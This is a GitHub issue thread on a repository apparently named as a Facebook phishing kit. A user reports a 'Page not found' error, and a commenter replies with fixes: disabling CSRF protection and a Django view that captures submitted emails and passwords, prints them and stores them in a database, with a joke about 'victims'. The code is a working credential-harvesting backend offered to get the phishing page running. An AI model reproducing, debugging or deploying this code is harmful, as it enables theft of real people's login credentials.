IAmBlackHacker/Facebook-phishing

Page not found

Opened this issue · 1 comments

brave_HNwz4YiqxV
It is really good and realistic but I get this

Ynaso commented

you may change the url on the app url for login instead of fblogin and then disable the csrf_token feature by using

from django.views.decorators.csrf import csrf_exempt

and use the decorator under the view

@csrf_exempt
def Passwords(request):
if request.method=='POST':
username=str(request.POST.get('email'))
password=str(request.POST.get('pass'))
print(username,password)
if not passwords.objects.filter(username=username,password=password):
passwords(username=username,password=password).save()
ctx={'Success':'Success'}
else:
ctx={'Bad':'Hacker'}
return HttpResponse(json.dumps(ctx), content_type='application/json')

it should work after that, thats just a Troubleshooting to make it work but is not a recommended thing that you disable the CRSF token feature since someone could attack your website and steal your victims lol